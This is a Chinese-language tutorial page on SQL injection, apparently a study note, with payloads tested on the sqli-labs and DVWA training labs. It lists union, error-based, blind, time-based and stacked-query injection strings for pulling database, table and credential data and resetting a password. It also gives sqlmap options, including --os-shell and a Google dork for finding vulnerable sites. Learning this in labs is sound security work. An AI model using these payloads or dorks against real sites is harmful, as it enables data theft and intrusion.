常见web漏洞的整理之SQL注入
SQL注入:
- 简介:
- 全称Structured Query Language,即结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。也被作为关系式数据库管理系统的标准语言。
- 原理:
- 在用户可控的参数中,注入SQL语法,破坏原有的SQL语句,达成编程时意料之外结果的攻击行为,实现与数据库的非法交互。
- 分类:
- 从数据类型:
- 数字型:注入的数据,拼接到SQL语句中是以数字型数据存在,简单理解就是两边没有被单引号、双引号包括。
- 字符型:被各种符号包裹着。
- 如:
select * from news where id=1;
select * from news where id='1';
select * from news where id="1";
select * from news where id=('1');
- 从注入手法:
- 联合查询注入 UNION query SQL injection
- 报错注入 Error-based SQL injection
- 布尔注入 Boolean-based blind SQL injection
- 延时注入 Time-based blind SQL injection
- 堆叠查询 Stacked queries SQL injection
- 从数据类型:
- 注入点判断:
- 尝试闭合,输入单引号或双引号等
- ?id=111-1/+1,若有返回数据,可以判断存在数字型,比较少见
- and 1 = 1/ 1=2
- ‘ or 1=1#
- 等等等等,其实注入点判断有很多种,毕竟现在都架起了各种waf,安全意识都增强了,这种漏洞也都被修复,或者被保护了。
以下测试环境为sqllab和dvwa靶场
联合查询:
- 判断当前表中的字段(列)个数 ' order by 3--+
- 查看显示位:
' union select 1,2,3--+
- 查看数据库名
union select ,,database()--+
- 查看表名
union select ,,(select group_concat(TABLE_NAME) from information_schema.TABLES(mysql内建库) where TABLE_SCHEMA=0x7365637572697479(数据库名16进制转码))
- 查看字段
union select ,,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x7365637572697479(数据库名) and TABLE_NAME=0x7573657273(表名))--+
- 查看数据
union select ,,(select group_concat(concat(username, password)) from security.users)--+
报错注入:
当页面存在报错信息时
- 公式1
extractvalue(,concat('^',(查询的内容),'^'))
?id= and extractvalue(,concat(0x5e,(select database()),0x5e)) --+
- 公式2
updatexml(,concat('^',(查询的内容),'^'),)
?id= and updatexml(,concat(0x5e,(select versoin()),0x5e),) --+
?id= and updatexml(,concat(0x5e,(select concat(username,0x3a,password) from cms_users limit ,),0x5e),) --+
- 公式三
?id=1 and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
布尔盲注:
?id=33 and 1=1 / 1=2--+ 返回状态不同,说明存在布尔注入
- 判断查询内容的长度
?id= and length(database())>
?id= and length(database())= - 按位查询字符
?id= and ascii(substr((select database()),,)) =
?id= and ascii(substr(database(),,)) =
延时注入:
and sleep(5)--+ 查看返回的时间长度,但易受网络波动。
?id= and if(ascii(substr(current_user(),,)) =,sleep(),) --+
堆叠查询:
同时执行多条SQL语句,简单举例:将用户id=1的密码重置为123456
?id=-';update users set password='' where id=1; --+
SQLMAP的使用:
将以上及更多的注入手法集成到了sql自动化注入工具sqlmap中。对它的基本参数还是要熟悉的。
- -u 检测注入点
- --dbs 列出所有数据库的名字
- --current-db 当前数据库的名字
- -D 指定数据库
- --tables 列出说有表的名字
- -T 指定一张表
- --columns 列出所有字段的名字
- -C 指定字段
- --dump “脱库”
- -u "shownews.asp" --cookie "id=2" --level2 cookie 注入
- -u "url" --forms 自动检测表单
- -r post.txt 从文件读取http 请求
- --os-shell 获取shell
- sqlmap -g "inurl:php?id=" 利用google 自动搜索注入点
总结:
SQL注入原理很简单,利用起来方式很多;sqllab,dvwa这些简单的针对性靶场对sql注入的理解很有作用。起初黑客利用十分方便,但现在网站防护更严格了,就又产生了各种过滤。这里又要牵扯出很多知识。学无止境啊。
常见web漏洞的整理之SQL注入的更多相关文章
- Web攻防之XSS,CSRF,SQL注入
摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...
- Web攻防之XSS,CSRF,SQL注入(转)
摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...
- 十大常见web漏洞及防范
十大常见web漏洞 一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了 ...
- 绕过WAF进行常见Web漏洞利用
前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- 常见的 CSRF、XSS、sql注入、DDOS流量攻击
CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...
- web应用程序安全攻防---sql注入和xss跨站脚本攻击
kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...
- web攻击与防御技术--SQL注入
sql注入是WEB安全中比较重要而复杂的一个东西.而且危害性比较大. 一般来讲SQL注入的话首先要识别注入点.一个是看能不能注入另外一个是看是什么类型的注入比如说字符,数字,搜索(?)等等 GET.P ...
- web安全测试&渗透测试之sql注入~~
渗透测试概念: 详见百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsR ...
随机推荐
- SpringBoot项目中应用Jedis和一些常见配置
优雅的使用Jedis Redis的Java客户端有很多,Jedis是其中使用比较广泛和性能比较稳定的一个.并且其API和RedisAPI命名风格类似,推荐大家使用 在项目中引入Jedis 可以通过Ma ...
- Prism 源码解读4-ViewModel注入
介绍 介绍一个Prism的MVVM实现,主要介绍Prism如何在WPF上进行的一些封装,以实现MVVM.MVVM到底是什么呢?看一下这一幅经典的图 以前没有ViewModel这个概念,就是将Model ...
- mysql之日志
我是李福春,我在准备面试,今天的题目是: mysql的redolog和binlog有什么区别? 答: 如下面的表格, redolog vs binlog 然后我们扩展一下,因为日志主要是记录的修改日志 ...
- nodejs 模块加载顺序
nodejs 模块加载顺序 一.当引入模块的形式是 require('lt') 时(1).先找当前文件夹下的node_modules文件夹下的lt文件夹下的package.json 文件指定的main ...
- HDU - 1503 最长公共子序列记录路径
题意:先给两个水果的名字然后得出一个最短的序列包含这两个词. 思路:我一开始的思路是先求出最长公共子序列,然后做一些处理将其他的部分输出来:两种水果的字符串和最长公共子序列的字符串这三个字符串做对比, ...
- JavaScript中去除字符串空格的方法
语法 string.trim() 参数值 无 返回值 类型:string 描述:返回移除头尾空格的字符串 技术细节 JavaScript版本: ECMAScript 5 去除字符串左右两端的空格,在v ...
- coding++:拦截器拦截requestbody数据如何防止流被读取后数据丢失
1):现在开发的项目是基于SpringBoot的maven项目,拦截器的使用很多时候是必不可少的,当有需要需要你对body中的值进行校验,例如加密验签.防重复提交.内容校验等等. 2):当你开开心心的 ...
- JVM系列十(虚拟机性能监控神器 - BTrace).
BTrace 是什么? BTrace 是一个动态安全的 Java 追踪工具,它通过向运行中的 Java 程序植入字节码文件,来对运行中的 Java 程序热更新,方便的获取程序运行时的数据信息,并且,保 ...
- django_rest_framework视图传递参数给序列化器
django_rest_framework视图传递参数给序列化器 视图中默认可以将request.data传递给序列化器,但request.data是不可更改的对象,但又想将额外的参数传递给序列化器 ...
- 大O表示法是什么?
1.什么是大O表示法: 1.在算法描述中,我们用这种方式来描述计算机算法的效率. 2.在计算机中,这种粗略的量度叫做 "大O" 表示法. 3.在具体的情境中,利用大O表示法来描述具 ...